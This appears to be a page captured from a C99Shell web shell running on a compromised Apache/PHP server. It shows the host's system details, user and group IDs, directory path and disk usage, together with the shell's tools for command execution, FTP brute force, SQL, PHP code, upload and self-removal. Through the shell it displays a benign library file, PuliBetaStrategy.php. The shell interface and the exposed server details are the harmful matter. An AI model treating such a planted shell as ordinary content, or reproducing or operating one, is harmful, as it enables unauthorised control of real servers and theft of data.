!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/php-http/discovery/src/Strategy/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PuliBetaStrategy.php (2.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Http\Discovery\Strategy;

use 
Http\Discovery\ClassDiscovery;
use 
Http\Discovery\Exception\PuliUnavailableException;
use 
Puli\Discovery\Api\Discovery;
use 
Puli\GeneratedPuliFactory;

/**
 * Find candidates using Puli.
 *
 * @internal
 *
 * @final
 *
 * @author David de Boer <david@ddeboer.nl>
 * @author Márk Sági-Kazár <mark.sagikazar@gmail.com>
 */
class PuliBetaStrategy implements DiscoveryStrategy
{
    
/**
     * @var GeneratedPuliFactory
     */
    
protected static $puliFactory;

    
/**
     * @var Discovery
     */
    
protected static $puliDiscovery;

    
/**
     * @return GeneratedPuliFactory
     *
     * @throws PuliUnavailableException
     */
    
private static function getPuliFactory()
    {
        if (
null === self::$puliFactory) {
            if (!
defined('PULI_FACTORY_CLASS')) {
                throw new 
PuliUnavailableException('Puli Factory is not available');
            }

            
$puliFactoryClass PULI_FACTORY_CLASS;

            if (!
ClassDiscovery::safeClassExists($puliFactoryClass)) {
                throw new 
PuliUnavailableException('Puli Factory class does not exist');
            }

            
self::$puliFactory = new $puliFactoryClass();
        }

        return 
self::$puliFactory;
    }

    
/**
     * Returns the Puli discovery layer.
     *
     * @return Discovery
     *
     * @throws PuliUnavailableException
     */
    
private static function getPuliDiscovery()
    {
        if (!isset(
self::$puliDiscovery)) {
            
$factory self::getPuliFactory();
            
$repository $factory->createRepository();

            
self::$puliDiscovery $factory->createDiscovery($repository);
        }

        return 
self::$puliDiscovery;
    }

    public static function 
getCandidates($type)
    {
        
$returnData = [];
        
$bindings self::getPuliDiscovery()->findBindings($type);

        foreach (
$bindings as $binding) {
            
$condition true;
            if (
$binding->hasParameterValue('depends')) {
                
$condition $binding->getParameterValue('depends');
            }
            
$returnData[] = ['class' => $binding->getClassName(), 'condition' => $condition];
        }

        return 
$returnData;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--